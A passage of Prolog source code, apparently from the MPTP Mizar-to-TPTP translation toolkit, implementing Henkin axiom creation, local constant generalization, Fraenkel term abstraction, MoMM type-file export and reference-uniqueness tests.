declaration, i.e.   dt_c1_25_1_1,dt_c2_25_1_1,dt_c3_25_1_1\n 4. create henkin axiom for the first constant, i.e.\n 4a. instantiate the first variable everywhere with the first constant,\n     yielding ExRes_1, i.e.:\n     ExRes_1 = ?[c1_25_1_1: ( ~ v3_struct_0 & v3_realset2 & v2_orders_2 & l1_orders_2 )]:\n               ?[B2: ( ~ v4_abcmiz_0 & v5_abcmiz_0 & v6_abcmiz_0 & l1_abcmiz_0 )]:\n \t      ?[B3: ( v1_funct_1 & v1_funct_2(u1_struct_0(c1_25_1_1),k5_finsub_1(u1_abcmiz_0(B2)))\n \t\t    & m2_relset_1(u1_struct_0(c1_25_1_1),k5_finsub_1(u1_abcmiz_0(B2))) )]: $true\n 4b. strip the exist. quantifier, yielding the 1st constant's sort (Srt_1 - note that we do\n     not copy it from the sort declaration, to be independent for verification), and Res_1:\n     Srt1 = sort(c1_25_1_1: ( ~ v3_struct_0 & v3_realset2 & v2_orders_2 & l1_orders_2 ))\n     Res_1 = ?[B2: ( ~ v4_abcmiz_0 & v5_abcmiz_0 & v6_abcmiz_0 & l1_abcmiz_0 )]:\n             ?[B3: ( v1_funct_1 & v1_funct_2(u1_struct_0(c1_25_1_1),k5_finsub_1(u1_abcmiz_0(B2)))\n                   & m2_relset_1(u1_struct_0(c1_25_1_1),k5_finsub_1(u1_abcmiz_0(B2))) )]: $true\n\n 4c. create the implication Just => (Srt_1 & Res1), i.e.:\n     ( ?[B1: ( ~ v3_struct_0 & v3_realset2 & v2_orders_2 & l1_orders_2 )]:\n       ?[B2: ( ~ v4_abcmiz_0 & v5_abcmiz_0 & v6_abcmiz_0 & l1_abcmiz_0 )]:\n       ?[B3: ( v1_funct_1 & v1_funct_2(u1_struct_0(B1),k5_finsub_1(u1_abcmiz_0(B2)))\n             & m2_relset_1(u1_struct_0(B1),k5_finsub_1(u1_abcmiz_0(B2))) )]: $true )\n     => sort(c1_25_1_1: ( ~ v3_struct_0 & v3_realset2 & v2_orders_2 & l1_orders_2 ))\n        & ( ?[B2: ( ~ v4_abcmiz_0 & v5_abcmiz_0 & v6_abcmiz_0 & l1_abcmiz_0 )]:\n            ?[B3: ( v1_funct_1 & v1_funct_2(u1_struct_0(c1_25_1_1),k5_finsub_1(u1_abcmiz_0(B2)))\n                  & m2_relset_1(u1_struct_0(c1_25_1_1),k5_finsub_1(u1_abcmiz_0(B2))) )]: $true)\n\n 4d. the result (Just => (Srt_1 & Res1)) is the henkin axiom for the first constant,\n     here for c1_25_1_1, i.e dh_c1_25_1_1\n 5.  iterate for the rest of the constants, taking Res_{n-1} instead of\n     Just for n-th constant\n\n*/\n\n%% apply_const_subst(+(Const/Var),+Fla,-Fla1)\n%%\n%% applies local constant substitution to Fla\n\n%% end of traversal\napply_const_subst(_,X,X):- var(X),!.\napply_const_subst((X1/Var1),X1,Var1):- atomic(X1), mptp_local_const(X1), !.\napply_const_subst(_,X,X):- atomic(X),!.\n\napply_const_subst(Subst,X1,X2):-\n\tX1 =.. [H1|T1],\n\tmaplist(apply_const_subst(Subst),T1,T2),\n\tX2 =.. [H1|T2].\n\n%% make a new variable for the constant\nmake_const_var_subst(Const, (Const/_NewVar)).\n\n\n%% create_henkin_axioms_let_top(+Henkin_Refs,+Thesis_Ref,-Henkin_Fofs)\n%%\n%% this assumes that the Henkin_Refs come in the right order, i.e.\n%% from first constant to the last (if not they need to be sorted)\ncreate_henkin_axioms_let_top(Henkin_Refs0,Thesis_Ref,Henkin_Fofs0):-\n\treverse(Henkin_Refs0, Henkin_Refs),\n\tensure(get_ref_fla(Thesis_Ref,Thesis), henkin(Thesis_Ref)),\n\tensure(maplist(atom_concat('dh_'),Consts,Henkin_Refs),henkin_bad_refs(Henkin_Refs0)),\n\tmaplist(atom_concat('dt_'),Consts,Sort_Refs),\n\tcreate_henkin_axioms_let(Henkin_Refs,Consts,Sort_Refs,Thesis,_,Henkin_Fofs),\n\treverse(Henkin_Fofs, Henkin_Fofs0), !.\n\n\n%% create_henkin_axioms_let(+Henkin_Refs,+Constants,+Sort_Refs,+Instance,-UnivInst,-Henkin_Fofs)\n%%\n%% the loop - needed for passing the generalized instance along\ncreate_henkin_axioms_let([],[],[],Inst,Inst,[]).\ncreate_henkin_axioms_let([HRef|HRefs],[Const|Consts],[SRef|SRefs],Instance,UnivInst,[HFof|HFofs]):-\n\tcreate_henkin_axiom_let(HRef,Const,SRef,Instance,UnivGenInst,HFof),\n\tcreate_henkin_axioms_let(HRefs,Consts,SRefs,UnivGenInst,UnivInst,HFofs).\n\n\n%% create_henkin_axiom_let(+Henkin_Ref,+Const,+Sort_Ref,+Instance,-UnivGenInst,-Henkin_Fof)\n%%\n%% Given the desired name of the new axiom (Henkin_Ref), the new constant (Const),\n%% its sort declaration (Sort_Ref with formula Sort_Fla sort(Const,Sort)), and the instance formula (Instance),\n%% containing the Const, replace Const in Instance with NewVar, and add quantification (! [NewVar : Sort])\n%% yielding UnivGenInst, and\n%% create the Henkin_Fof, saying that\n%% (sort(Const,Sort) => Instance) => UnivGenInst\n%%\n%% note that the processing order of constants guarantees\n%% that only the right constants are present in the new quantification\ncreate_henkin_axiom_let(Henkin_Ref,Const,Sort_Ref,Instance,UnivGenInst,Henkin_Fof):-\n\tcopy_term(Instance, Tmp0),\n\tmake_const_var_subst(Const, (Const/NewVar)),\n\tapply_const_subst((Const/NewVar), Tmp0, Tmp),\n\tensure(get_ref_fof(Sort_Ref, fof(_,_,Sort_Fla,FileInfo,[mptp_info(Nr,Lev,constant,Pos,[Kind,type|_])|_])),\n\t       henkin_noref(Sort_Ref)),\n\tensure( (Sort_Fla = sort(Const, Sort)), henkin_bad_sort(Sort_Fla)),\n\tcopy_term(Sort, Sort1),\n\tUnivGenInst = ( ! [NewVar : Sort1] : ( Tmp) ),\n\tcopy_term((Sort_Fla => Instance), Tmp1),\n\tHenkin_Ax = ( Tmp1 => UnivGenInst ),\n\tHenkin_Fof = fof(Henkin_Ref, axiom, Henkin_Ax, FileInfo,\n\t\t\t [mptp_info(Nr,Lev,constant,Pos,[Kind,henkin_axiom])]),!.\n\n\n%% create_henkin_axioms_consider_top(+Henkin_Refs,+Thesis_Ref,-Henkin_Fofs)\n%%\n%% this assumes that the Henkin_Refs come in the right order, i.e.\n%% from first constant to the last (if not they need to be sorted)\ncreate_henkin_axioms_consider_top(Henkin_Refs,Thesis_Ref,Henkin_Fofs):-\n\tensure(get_ref_fla(Thesis_Ref,Thesis), henkin(Thesis_Ref)),\n\tensure(maplist(atom_concat('dh_'),Consts,Henkin_Refs),henkin(Thesis_Ref)),\n\tmaplist(atom_concat('dt_'),Consts,Sort_Refs),\n\tcreate_henkin_axioms_consider(Henkin_Refs,Consts,Sort_Refs,Thesis,_,Henkin_Fofs),!.\n\n\n%% create_henkin_axioms_consider(+Henkin_Refs,+Constants,+Sort_Refs,+ExFla,-ExInstance,-Henkin_Fofs)\n%%\n%% the loop - needed for passing the instance along\ncreate_henkin_axioms_consider([],[],[],Inst,Inst,[]).\ncreate_henkin_axioms_consider([HRef|HRefs],[Const|Consts],[SRef|SRefs],ExFla,ExInstance,[HFof|HFofs]):-\n\tcreate_henkin_axiom_consider(HRef,Const,SRef,ExFla,ExInst1,HFof),\n\tcreate_henkin_axioms_consider(HRefs,Consts,SRefs,ExInst1,ExInstance,HFofs).\n\n%% create_henkin_axiom_consider(+Henkin_Ref,+Const,+Sort_Ref,+ExFla,-ExInstance,-Henkin_Fof)\n%%\n%% Given the desired name of the new axiom (Henkin_Ref), the new constant (Const),\n%% its sort declaration (Sort_Ref - this is only used for useful_info of\n%% the new axiom), and the existential formula (ExFla, in the form ? [(ExVar : Sort)] : Body ),\n%% create the Henkin_Fof, saying that\n%% ExFla => (sort(Const,Sort) & Body),\n%% and also return ExInstance, which is Body with ExVar instantiated to Const.\n%%\n%% Note that the processing order of constants guarantees\n%% that only the right constants are present in the new quantification.\n%% Also note that the Sort_Ref is only used for getting the  mptp_info\n%% when creating the new fof, not for copying the sort from its formula.\ncreate_henkin_axiom_consider(Henkin_Ref,Const,Sort_Ref,ExFla,ExInstance,Henkin_Fof):-\n\tcopy_term(ExFla, Tmp0),\n\t%% Sort is without external variables at this point\n\t%% (there still can be some inside fraenkels though -\n\t%% that's why we do copy_term below)\n\tensure(strip_exist(Tmp0, ExVar, Sort, Body), henkin(Const)),\n\tExVar = Const,\n\tcopy_term(Sort, Sort1),\n\tcopy_term((ExFla => (sort(Const,Sort1) & Body)), Henkin_Ax),\n\tcopy_term(Body, ExInstance),\n\tensure(get_ref_fof(Sort_Ref, fof(_,_,sort(Const,_),FileInfo,\n\t\t\t\t\t [mptp_info(Nr,Lev,constant,Pos,[Kind,type|_])|_])),\n\t       henkin(Sort_Ref)),\n\tHenkin_Fof = fof(Henkin_Ref, axiom, Henkin_Ax, FileInfo,\n\t\t\t [mptp_info(Nr,Lev,constant,Pos,[Kind,henkin_axiom])]),!.\n\n\n%% strip_exist(+ExFla, -ExVar, -Sort, -Body)\n%%\n%% Strip existential quantifier, and return the parts.\n%% Handle also negated universal formulas, and top double negations.\n%% Throw exception if failure.\nstrip_exist( ? [(ExVar : Sort) | Srts ] : Fla, ExVar, Sort, Body):- !,\n\t(Srts = [] -> Body = Fla ; Body = ( ? Srts : Fla )).\nstrip_exist( ~(~( Fla)), ExVar, Sort, Body):- !, strip_exist( Fla, ExVar, Sort, Body).\nstrip_exist( ~( ! Q : ( ~( Fla))), ExVar, Sort, Body):- !, strip_exist( ? Q : Fla, ExVar, Sort, Body).\nstrip_exist( ~( ! Q : Fla), ExVar, Sort, Body):- !, strip_exist( ? Q : ( ~( Fla)), ExVar, Sort, Body).\nstrip_exist(Fla, _, _, _) :- throw(strip_exist(Fla)).\n\n\n\n%%%%%%%%%%%% Constant generalization (abstraction) %%%%%%%%%%%%%%%%%%%%\n\n%% get_consts_and_refs(+RefsIn, +ConstsIn, +AddedConsts, -RefsOut, -ConstsOut)\n%%\n%% Collect all constants together with their type definitions.\n%% Start with a list of references (type defs) and known constants,\n%% and recursively add all references and constants mentioned in the\n%% type defs.\nget_consts_and_refs(RefsIn, ConstsIn, AddedConsts, RefsOut, ConstsOut):-\n\tget_sec_info_refs(RefsIn, AddedConsts,\n\t\t\t  [mptp_info(_,_,constant,_,[_,type|_])|_], NewRefs),\n\t([] = NewRefs ->\n\t    (RefsOut = RefsIn, ConstsOut = ConstsIn)\n\t;\n\t    maplist(get_ref_fla, NewRefs, Sorts0),\n\t    collect_symbols_top(Sorts0, Syms0),\n\t    sublist(mptp_local_const, Syms0, Consts0),\n\t    subtract( Consts0, ConstsIn, Consts1),\n\t    union(ConstsIn, Consts1, AllConsts1),\n\t    union(RefsIn, NewRefs, AllRefs1),\n\t    get_consts_and_refs(AllRefs1, AllConsts1, Consts1, RefsOut, ConstsOut)\n\t).\n\n%% cmp_const_info(-Res, +Fof1, +Fof2)\n%%\n%% Compare two Fofs (##ASSUME: containining type defs of consts,\n%% with proper (and different) info). Const in sublevel is always\n%% larger than const on superlevel (##TODO: not consistent with positions!),\n%% on the same level, compare just by const number.\n%% This ensures that the infos are comparable and different\ncmp_const_info(Res, fof(_,_,_,_,[mptp_info(Nr1,Lev1,_,_,_)|_]),\n\t       fof(_,_,_,_,[mptp_info(Nr2,Lev2,_,_,_)|_])):- !,\n\t(Lev1 = Lev2 ->\n\t    (compare(Res,Nr1,Nr2),\n\t\tensure(Nr1 \\= Nr2, cmp_const_info(Nr1,Lev1)))\n\t;\n\t    (sublevel(Lev1, Lev2) ->\n\t\tRes = '>'\n\t    ;\n\t\t(ensure(sublevel(Lev2, Lev1), cmp_const_info(Lev1,Lev2)),\n\t\t    Res = '<'))).\n\n%% must not be reached\ncmp_const_info(_,I1,I2):- ensure( fail, cmp_const_info(I1,I2)).\n\ninsrt_by_info(X, [], [X]).\ninsrt_by_info(F1, [F2|T], Sorted):-\n\tcmp_const_info(Res, F1, F2),\n\t(Res = '<' ->\n\t    Sorted = [F1,F2|T]\n\t;\n\t    (insrt_by_info(F1, T, Sorted1),\n\t\tSorted = [F2|Sorted1])\n\t).\n\n%% This is an insert sort by mptp_info.\n%% All consts must be comparable, and different.\n%% Could be done using article_position/2 .\nsort_by_const_names([], Sorted, Sorted).\nsort_by_const_names([H|T], Sorted, Res):-\n\tinsrt_by_info(H, Sorted, Sorted1),\n\tsort_by_const_names(T, Sorted1, Res).\n\n\n\n%% find the corresponding subst for X, throw exception if not\n%% X is assumed to be a local constant\nget_const_subst(X,[],_):- !, throw(const_subst(X)).\nget_const_subst(X,[Z/Y|_],Z/Y):- X == Z, !.\nget_const_subst(X,[_|T],Subst):- get_const_subst(X,T,Subst).\n\n%% apply_const_substs(+Substs,+Fla,-Fla1)\n%%\n%% applies local constant substitutions to Fla, throwing exception\n%% if no substitution for any local const exists\n\n%% end of traversal\napply_const_substs(_,X,X):- var(X),!.\n\napply_const_substs(Substs,X1,Var1):- atomic(X1), mptp_local_const(X1), !,\n\tget_const_subst(X1,Substs,X1/Var1).\n\napply_const_substs(_,X,X):- atomic(X),!.\napply_const_substs(Substs,X1,X2):-\n\tX1 =.. [H1|T1],\n\tmaplist(apply_const_substs(Substs),T1,T2),\n\tX2 =.. [H1|T2].\n\n%% make_const_var_substs(+Consts, -Substs).\n%%\n%% Make new variable substitutions for the constants.\nmake_const_var_substs([], []).\nmake_const_var_substs([H|T], [(H/_NewVar)|NewSubsts]):-\n\tmake_const_var_substs(T, NewSubsts).\n\n%% generalize_consts(+In, -Out, -UnivContext, -Subst)\n%%\n%% Generalize local constants into free (later universally bound) variables.\n%% All local consts in +In are replaced with new vars in Out, these vars\n%% are collected in UnivContext (with their sorts),\n%% -Subst is the substitution which turns -Out into +In again\n%% (actually vice versa - it has format: [Constant1/Var1,...])\ngeneralize_consts(In, Out, UnivContext, NewConstSubst):-\n\tcollect_symbols_top(In, Syms0),\n\tsublist(mptp_local_const, Syms0, Consts0),\n\tget_consts_and_refs([], Consts0, Consts0, SortRefs, AllConsts),\n\tlength(AllConsts, N),\n\tensure(length(SortRefs, N), gen_consts(In,AllConsts,SortRefs)),\n\tmaplist(get_ref_fof, SortRefs, SortFofs),\n\tsort_by_const_names(SortFofs, [], SortFofs1),\n\tmaplist(arg(3), SortFofs1, SortFlas1),\n\tensure( zip_s(sort, SortedConsts,Sorts,SortFlas1),gen_consts),\n\tzip_s(':', SortedConsts, Sorts, Context1),\n\tonce(make_const_var_substs(SortedConsts, NewConstSubst)),\n\tapply_const_substs(NewConstSubst, [In,Context1], [Out,UnivContext]).\n\n%%%%%%%%%%%% End of constant generalization %%%%%%%%%%%%%%%%%%%%%%%%%%%\n\n%%%%%%%%%%%% Installation of fraenkel definitions %%%%%%%%%%%%%%%%%%%%%\n\n%% inst_univ_fof([+Fof,+Substs], -Res)\n%% apply all the substitutioons in Substs to Fof, assuming that\n%% the length of Substs equals the first quantif. prefix, and\n%% the prefic contains the insntiated vars; strip this quantif. prefix\ninst_univ_fof([X,[]],X):- !.\ninst_univ_fof([fof(R,R1,(! [_] : Out),R3,R4),[Cnst/Var]], Res):- !,\n\tVar = Cnst,\n\tRes = fof(R,R1,Out,R3,R4).\ninst_univ_fof([fof(R,R1,(! [_|Vs] : Out),R3,R4),[Cnst/Var|T]], Res):- !,\n\tVar = Cnst,\n\tinst_univ_fof([fof(R,R1,(! Vs : Out),R3,R4), T], Res).\n\ninst_univ_fof(_,_):- throw(inst_univ_fof).\n\n%% assert_fraenkel_def(+File,[+NewSym, +Def], -NewName)\n%%\n%% create the fof for a given pair [NewSym, Def], and assert.\n%% Now handles also choice terms - with different naming.\nassert_fraenkel_def(File,[NewSym, Def], NewName):-\n\t(mptp_fraenkel_sym(NewSym) ->\n\t concat_atom(['fraenkel_', NewSym], NewName),\n\t Res= fof(NewName, definition, Def, file(File,NewSym),\n\t\t  [mptp_info(0,[],fraenkel,position(0,0),[])])\n\t;\n\t ensure(mptp_choice_sym(NewSym), assert_fraenkel_def(File,[NewSym,Def])),\n\t concat_atom(['dt_', NewSym], NewName),\n\t Res= fof(NewName, axiom, Def, file(File,NewSym),\n\t\t  [mptp_info(0,[],o,position(0,0),[ctype])])\n\t),\n\tassert(Res),!.\n\nprint_clause_id(Id):- clause(X,_,Id), print(X), nl, !.\nprint_nl(X):- print(X), nl, !.\n\n%% abstract_fraenkels(+Article, +Options, -NewFrSyms, -NewFlaNames)\n%%\n%% Create definitions for all fraenkel and choice terms in Article,\n%% in which the possible local consts are generalized-out;\n%% assert these definitions as new fofs, erase the original clauses\n%% with fraenkel terms and assert instead of them their versions\n%% with fraenkel terms replaced by the new fraenkel functors.\n%% Schemes containing fraenkels are saved for possible instantiations\n%% in sch_orig_copy/2 .\n%% For choice terms, only the type fla is created, there is no definition.\nabstract_fraenkels(Article, Options, NewFrSyms, NewFlaNames):-\n\tfindall(Id,(fof_file(Article,Id),\n\t\t    clause(fof(_,_,Fla,file(_,_),_),_,Id),\n\t\t    once(check_if_symbol(Fla, all);check_if_symbol(Fla, the))),Ids), !,\n\t%% keep original form of schemes with fraenkel in sch_orig_copy/2 -\n\t%% needed for correct scheme instantiation\n\tfindall([SchRef, SchFla],\n\t\t(\n\t\t  member(Id,Ids),\n\t\t  clause(fof(SchRef,theorem,SchFla,file(_,_),[mptp_info(_,_,scheme,_,_)|_]),_,Id),\n\t\t  retractall(sch_orig_copy(SchRef,_)),\n\t\t  assert(sch_orig_copy(SchRef, SchFla))\n\t\t),\n\t\t_),\n\t%% collect fraenkel and choice infos and put variables into fraenkel and choice flas\n\tfindall([[fof(R,R1,Out,R3,R4),Subst],Info],\n\t\t(member(Id,Ids), clause(fof(R,R1,R2,R3,R4),_,Id),\n\t\t    (\n\t\t      member(opt_NO_FRAENKEL_CONST_GEN, Options),\n\t\t      Subst = [], Out2 = R2\n\t\t    ;\n\t\t      not(member(opt_NO_FRAENKEL_CONST_GEN, Options)),\n\t\t      once(generalize_consts(R2, Out1, UnivContext, Subst)),\n\t\t      add_univ_context(UnivContext, Out1, Out2)\n\t\t    ),\n\t\t    all_collect_top(Out2,Out,Info)),\n\t\tS1),\n\tzip(FofSubsts, Infos1, S1),\n\tappend_l(Infos1,Infos),\n\t%% instantiate fraenkels with their defs, create the defs\n\tmk_fraenkel_defs_top(Article, Infos, NewFrSyms, Defs),\n\t%% Defs generally share context vars with the original flas,\n\t%% and with each other (if multiple fraenkels in one fla);\n\t%% so we have to give them fresh vars, since the vars in original\n\t%% flas can be e.g. instantiated back to constants\n\tmaplist(copy_term,Defs,Defs1),\n\tdbg(dbg_FRAENKELS, checklist(print_nl, Defs1)),\n\t%% now we can safely instantiate the added vars to constants again\n\tmaplist(inst_univ_fof, FofSubsts, Fofs),\n\tchecklist(erase, Ids),\n\tchecklist(assert, Fofs),\n\tdbg(dbg_FRAENKELS, checklist(print_nl, Fofs)),\n\tlength(Defs1, NDefs1), length(Ids, NIds),\n\tformat('~w: ~p flas with fraenkel terms, ~p defs created ~n',\n\t       [Article,NIds,NDefs1]),\n\tmaplist(assert_fraenkel_def(Article), Defs1, NewFlaNames).\n\nabstract_fraenkels_if(Article):- fraenkels_loaded(Article),!.\nabstract_fraenkels_if(Article):-\n\tabstract_fraenkels(Article, [], _, _),\n\tassert(fraenkels_loaded(Article)),!.\n\n%%%%%%%%%%%% End of Installation of fraenkel definitions %%%%%%%%%%%%%%%%%%%%%\n\n%%%%%%%%%%%% MoMM export %%%%%%%%%%%%%%%%%%%%%\n\n%% We want the following format for MoMM type files (.typ):\n%%\n%% for functors:\n%% type(Functor(Vars),TypeConstr(Functor(Vars),AdditionalArgs)).\n%%\n%% for types:\n%% type(TypeConstr(Vars),SuperTypeConstr(ArgsOfVars)).\n%%\n%%\n%% type(g1_struct_0(A1), l1_struct_0(g1_struct_0(A1))).\n%% type(l2_struct_0(A1), l1_struct_0(A1)).\n%% type(g2_struct_0(A1,A2), l2_struct_0(g2_struct_0(A1,A2))).\n%% type(u2_struct_0(A1), m1_subset_1(u2_struct_0(A1),u1_struct_0(A1))).\n%% type(k1_struct_0(A1,A2,A3), m1_subset_1(k1_struct_0(A1,A2,A3),k1_zfmisc_1(u1_struct_0(A1)))).\n%% type(k2_struct_0(A1,A2,A3), m1_subset_1(k2_struct_0(A1,A2,A3),k1_zfmisc_1(u1_struct_0(A1)))).\n%% type(k3_struct_0(A1,A2,A3), m1_subset_1(k3_struct_0(A1,A2,A3),k1_zfmisc_1(u1_struct_0(A1)))).\n%% type(k4_struct_0(A1,A2,A3), m1_subset_1(k4_struct_0(A1,A2,A3),k1_zfmisc_1(u1_struct_0(A1)))).\n%% type(k5_struct_0(A1,A2), m1_subset_1(k5_struct_0(A1,A2),k1_zfmisc_1(u1_struct_0(A1)))).\n%% type(k6_struct_0(A1,A2,A3), m1_subset_1(k6_struct_0(A1,A2,A3),k1_zfmisc_1(u1_struct_0(A1)))).\n%% type(m1_struct_0(A3,A1,A2), m1_subset_1(A3,u1_struct_0(A1))).\n%% type(k7_struct_0(A1,A2,A3), m2_setfam_1(k7_struct_0(A1,A2,A3),u1_struct_0(A1))).\n%% type(k8_struct_0(A1,A2,A3), m2_setfam_1(k8_struct_0(A1,A2,A3),u1_struct_0(A1))).\n%% type(k9_struct_0(A1,A2,A3), m2_setfam_1(k9_struct_0(A1,A2,A3),u1_struct_0(A1))).\n\n%% mk_momm_typ_files(+OutDirectory)\n%%\n%% Create MoMM typ files for all MML articles in directory OutDirectory.\n%% ##TEST: :- mk_momm_typ_files('00mommtypes/').\nmk_momm_typ_files(OutDirectory):-\n\tdeclare_mptp_predicates,\n\tload_mml,\n\tinstall_index,\n\tall_articles(ArticleNames),\n\tchecklist(abstract_fraenkels_if, ArticleNames),\n\tinstall_index,\n\tchecklist(article_momm_typ_file(OutDirectory), [hidden, tarski | ArticleNames]).\n\n%% article_momm_typ_file(+OutDirectory,+A)\n%%\n%% Create MoMM typ file for article A in directory OutDirectory.\narticle_momm_typ_file(OutDirectory,A):-\n\tconcat_atom([OutDirectory, A, '.', typ], OutFile),\n\ttell(OutFile),\n\trepeat,\n\t(\n\t fof_toplevel(A,Id),\n\t clause(fof(_Ref,_Role,MptpFla,file(A,_Constr),[MptpInfo|_]),_,Id),\n\t MptpInfo = mptp_info(_RelNr,[],ConstrKind,_Pos,[ctype]),\n\t constr_type_fla2momm(ConstrKind,MptpFla,MommFla),\n\t numbervars(MommFla, 0, _),\n\t print(MommFla),\n\t write('.'), nl,\n\t fail\n\t;\n\t told\n\t).\n\n%% constr_type_fla2momm(+ConstrKind,+MptpFla,-MommFla)\n%%\n%% This fails for predicates.\nconstr_type_fla2momm(ConstrKind,MptpFla,MommFla):-\n\t(\n\t member(ConstrKind,[k,g,u]) ->\n\t func_type_fla2momm(MptpFla, MommFla)\n\t;\n\t member(ConstrKind,[m,l]),\n\t mode_type_fla2momm(MptpFla, MommFla)\n\t).\n\n%% func_type_fla2momm(+MptpFla, -MommFla)\n%%\n%% Create a MoMM functor type fla from MPTP functor type fla.\n%% This can fail if the sort is trivial or only attributes.\n%% sort(u2_struct_0(_G250), m1_subset_1(u1_struct_0(_G250)))\n%% becomes\n%% type(u2_struct_0(A1), m1_subset_1(u2_struct_0(A1),u1_struct_0(A1))).\nfunc_type_fla2momm(MptpFla, MommFla):-\n\tensure(strip_univ_quant(MptpFla,sort(Term, AttrsAndRadix),_), func_type_fla2momm(MptpFla)),\n\tconstr2list('&', Radix, _ , AttrsAndRadix),\n\tRadix =.. [ Mode | Args],\n\tmptp_mode_sym(Mode),\n\tNewRadix =.. [ Mode, Term | Args],\n\tMommFla = type(Term, NewRadix).\n\n%% mode_type_fla2momm(+MptpFla, -MommFla)\n%%\n%% Create a MoMM mode type fla from MPTP mode type fla.\n%% This can fail if the supersort is trivial or only attributes.\n%% (sort(_G250, l2_struct_0)=>sort(_G250, l1_struct_0))\n%% becomes\n%% type(l2_struct_0(A1), l1_struct_0(A1)).\n%% and\n%% (sort(_G278, m2_subset_1(_G250, _G258))=>sort(_G278, m1_subset_1(_G250)))\n%% becomes\n%% type(m2_subset_1(A3,A1,A2), m1_subset_1(A3,A1)).\nmode_type_fla2momm(MptpFla, MommFla):-\n\tensure(strip_univ_quant(MptpFla,sort(Var, DefSort) => Sorts,_), mode_type_fla2momm(MptpFla)),\n\tconstr2list('&', sort(Var1, Radix), _ , Sorts),\n\tensure((Var == Var1), mode_type_fla2momm(MptpFla)),\n\tRadix =.. [ Mode | Args],\n\tmptp_mode_sym(Mode),\n\tDefSort =.. [ DefMode | DefVars],\n\tNewDefSort =.. [ DefMode, Var | DefVars],\n\tNewRadix =.. [ Mode, Var | Args],\n\tMommFla = type(NewDefSort, NewRadix).\n\n\n%%%%%%%%%%%% end of MoMM export %%%%%%%%%%%%%%%%%%%%%\n\n%% test uniqueness of references inside Article,\n%% creating also scheme instances and abstracting fraenkels\ntest_refs(Article):-\n\tmml_dir_atom(MMLDir),\n\tconcat_atom([MMLDir, Article, '.xml2'],File),\n\tconcat_atom([MMLDir, Article, '.dcl2'],DCL),\n\tconcat_atom([MMLDir, Article, '.dco2'],DCO),\n\tconcat_atom([MMLDir, Article, '.the2'],THE),\n\tconcat_atom([MMLDir, Article, '.sch2'],SCH),\n\t%% remove the ovelapping mml parts first\n\tretractall(fof(_,_,_,file(Article,_),_)),\n\tsublist(exists_file,[DCO],ToLoad1),\n\tload_files(ToLoad1,[silent(true)]),\n\tconsult(File),\n\tinstall_index,\n\tonce(assert_sch_instances(Article,Options)),\n\tinstall_index,\n\tabstract_fraenkels(Article, [], _, _),\n\tinstall_index,!,\n\n\tfindall([Fof1,Fof2], (fof_file(Article, Id1),fof_name(X,Id1),fof_name(X,Id2),\n\t\t\t\t Id1 < Id2,\n\t\t\t\t clause(Fof1,_,Id1),\n\t\t\t\t clause(Fof2,_,Id2)),S),\n\tprint(S),nl,length(S,N),print(N),\n\tretractall(fof(_,_,_,file(Article,_),_)),\n\tsublist(exists_file,[DCL,DCO,THE,SCH],ToLoad),\n\tload_files(ToLoad,[silent(true)]),!.\n\n\n%% test uniqueness of references inside Article (simple version)\ntest_refs_simple(Article):-\n\tmml_dir_atom(MMLDir),\n\tconcat_atom([MMLDir, Article,'.xml2'],File),\n\tconsult(File),\n\tinstall_index,\n\tfindall([Fof1,Fof2], (fof_name(X,Id1),fof_name(X,Id2),\n\t\t\t\t Id1 < Id2, clause(Fof1,_,Id1),\n\t\t\t\t clause(Fof2,_,Id2)),S),\n\tprint(S),nl,length(S,N),print(N),\n\tretractall(fof(_,_,_,file(Article,_),_)),!.\n\n%% Shorter is an ancestor level or equal to Longer\nsublevel(Longer,Shorter) :- append(Shorter,_,Longer).\n\n%% Shorter is a (strict) ancestor level of Longer\nstrict_sublevel(Longer,Shorter) :- append(Shorter,[_|_],Longer).\n\n%% filter out refs with more special level\nfilter_level_refs(Lev,RefsIn,RefsOut):-\n\tsort(RefsIn,Refs1),\n\tfindall(Ref,(member(Ref,Refs1),\n\t\t     get_ref_fof(Ref,fof(Ref,_,_,_,Info)),\n\t\t     Info = [mptp_info(_,Lev1,_,_,_)|_],\n\t\t     sublevel(Lev,Lev1)), RefsOut).\n%\tfindall(Ref,(member(Ref,RefsIn),atom_chars(Ref,[C|_]),\n%\t\t     member(C,[t,d,l])), Refs1),\n\n%% filter_for_proved_by(+F, +P, +Lev, +MPropKind, +InfKind, +Refs0, -ProvedByRefs)\n%%\n%% Return refs used for initialising proved_by relation.\nfilter_for_proved_by(_F, _P, Lev, MPropKind, InfKind, Refs0, ProvedByRefs):-\n\t(\n\t  InfKind == mizar_proof ->\n\t  filter_level_refs(Lev, Refs0, Refs1)\n\t;\n\t  (\n\t    member(MPropKind,[fcluster,ccluster,rcluster]) ->\n\t    filter_level_refs(Lev, Refs0, Refs1)\n\t  ;\n\t    Refs1 = Refs0\n\t  )\n\t),\n\tfindall(R, (member(R,Refs1), not(mptp_req_name(R))), ProvedByRefs).\n\n\n%% filter out refs with this or more special level\nget_superlevel_refs(Lev,RefsIn,RefsOut):-\n\tsort(RefsIn,Refs1),\n\tfindall(Ref,(member(Ref,Refs1),\n\t\t     get_ref_fof(Ref,fof(Ref,_,_,_,Info)),\n\t\t     Info = [mptp_info(_,Lev1,_,_,_)|_],\n\t\t     strict_sublevel(Lev,Lev1)), RefsOut).\n\n\n%% childern and descendants of a level expressed as atom (for speed)\n%% ###TODO: seems that for percases blocks only the level of the percases\n%% justification saves this recursion - we should have thesis for\n%% each percases block, and all subblocks, with proper levels\nat_level_children(At1,Childs):- findall(C, fof_parentlevel(At1,C), Childs).\nat_level_descendents(At1,Descs):-\n\tat_level_children(At1,Childs),\n\t( Childs = [], Descs = [];\n\t    Childs \\= [],\n\t    maplist(at_level_descendents,Childs,Ds1),\n\t    flatten([Childs|Ds1], Descs)).\n\n%% all fof names on this level (block) and below, uses fof_level/2 and\n%% fof_parentlevel/2 for speed\nget_sublevel_names(Lev,Names):-\n\tlevel_atom(Lev, At1),\n\tat_level_descendents(At1, Descs),\n\tfindall(Name,( member(L1, [At1|Descs]),\n\t\t      fof_level(L1, Id),\n\t\t      clause(fof(Name,_,_,_,_),_,Id)), Names).\n\nget_sublevel_proved_names(Lev,Names):-\n\tlevel_atom(Lev, At1),\n\tat_level_descendents(At1, Descs),\n\tfindall(Name,( member(L1, [At1|Descs]),\n\t\t      fof_level(L1, Id),\n\t\t      clause(fof(Name,_,_,_,[_,inference(_,_,_)|_]),_,Id)),\n\t\tNames).\n\n\n%% all fof names on this level (block); uses fof_level/2 and\n%% fof_parentlevel/2 for speed\nget_thislevel_names(Lev,Names):-\n\tlevel_atom(Lev, At1),\n\tat_level_children(At1, Descs),\n\tfindall(Name,( member(L1, 